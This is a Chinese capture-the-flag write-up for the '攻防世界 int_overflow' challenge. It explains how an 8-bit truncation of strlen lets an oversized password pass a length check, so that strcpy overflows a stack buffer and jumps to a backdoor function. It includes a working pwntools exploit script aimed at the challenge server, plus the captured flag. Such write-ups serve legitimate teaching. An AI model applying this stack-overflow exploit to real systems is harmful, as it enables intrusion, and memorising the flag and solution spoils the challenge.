【攻防世界】int_overflow
收获
- 原输入的栈无法溢出,通过 - strcpy复制操作进行溢出
- 注意参数的类型,例如 - unsigned __int8 v3,- v3 = strlen(s),- v3是一个 8 位 int 型 数据,即使- s的长度为 0x104,- v3也只能为 0x04(1 字节 只能存放 2 位 十六进制数)
- 通过 - payload.ljust(0x104, b'a')可以直接往 payload 后面添加 b’a’ 一直填充至指定长度 0x104
- ljust()的- l是让 payload 左对齐,往右侧添加字符,一直将原字符串填充到指定长度,而不是填充多少个字符
思路
查看文件信息:
32 位 小端序,只开启了栈不可执行
尝试执行:
在 IDA 中分析:
跟进 login():
有两个输入,查看数据 s 和 buf 在栈中的位置:
s 在栈中的长度为 0x28,而输入的 s 长度为 0x19;buf 在栈中的长度为 0x200,而输入的 buf 长度为 0x199
因此无法通过输入来进行溢出操作
跟进函数 check_passwd(buf):
首先控制了 v3 长度要在 4 ~ 8 之间,然后将 形参 s(其实就是 login() 中的 buf)中存放的内容复制到 dest 中:
注意:这里的 v3 = strlen(s) 得到的并不是 形参s 的长度,因为 v3 的定义为 unsigned __int8 v3,即 v3 是一个无符号的 8 位 int 型数据,也就是 1 字节,只能存放两位十六进制数
即:当 buf 的长度为 261(0x105) 时,v3 == 0x05
在 IDA 左侧函数列表中,注意到一个后门函数:
肯定是需要修改函数返回值转而执行这个 what_is_this() 函数
发现在函数 check_passwd(buf) 中进行 strcpy(dest, s) 的复制操作时,虽然之前输入时 buf 无法进行溢出操作,但是通过 strcpy() 复制,可以利用 buf 将 dest 溢出,然后覆盖掉 dest 所在的栈中的返回值,这样就可以实现跳转了
但是想要执行复制操作,就必须先满足 v3 > 3u && v3 <= 8u 的条件,即 v3 可以取值的范围是 4~8,也就是 0x04~0x08
结合 v3 = strlen(s) 且输入的 buf 长度为 0x199
可以得出满足条件的 buf 的长度应该为:0x104~0x108
于是思路就很清晰了:
- 首先输入 "1"选择登录
- 由于 login()中的s没有溢出点,在长度为0x28以内随便输入即可
- 由于 login()中的buf在原本的栈中无法溢出,但是buf的值会复制到dest中,dest是可以溢出的。根据dest所在的栈,要覆盖返回值需要先填充0x14 - 0x00 + 0x04个垃圾数据,然后加上what_is_this()函数的地址,函数的地址可以通过elf.symbols["what_is_this"]获得
- 这样就保证了当 buf的值复制到dest后,会转而执行后门函数what_is_this()
- 但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u )语句,即:让v3 = strlen(s)的长度保持在0x04~0x08,也就是buf的长度要保持在0x104~0x108
- 因此,除去前面为 buf构造payload所用的b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"])以外,还要在后面继续填充垃圾字符,让buf的长度在0x104~0x108之间
- 通过 payload.ljust(0x104, b'a')即可实现在payload右边添加b'a'一直将payload的长度填充至0x104
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口
elf = ELF("./int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
    if content == 1:
        io = process("./int_overflow")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 56322)  # 题目的远程端口
    payload = b'a' * (0x14 - 0x00 + 0x04) + p32(system_addr)  # 溢出dest,使其跳转至what_is_this函数
    payload = payload.ljust(0x104, b'a')  # 原payload左对齐,往payload右侧填充b'a',一直填充到payload的长度为0x104
    io.recvuntil("Your choice:")
    io.sendline("1")
    io.recvuntil("Please input your username:\n")
    io.sendline("999")
    io.recvuntil("Please input your passwd:\n")
    io.sendline(payload)
    io.interactive()
main()结果
cyberpeace{25686bc91ab84046b5a18aaa66041868}




















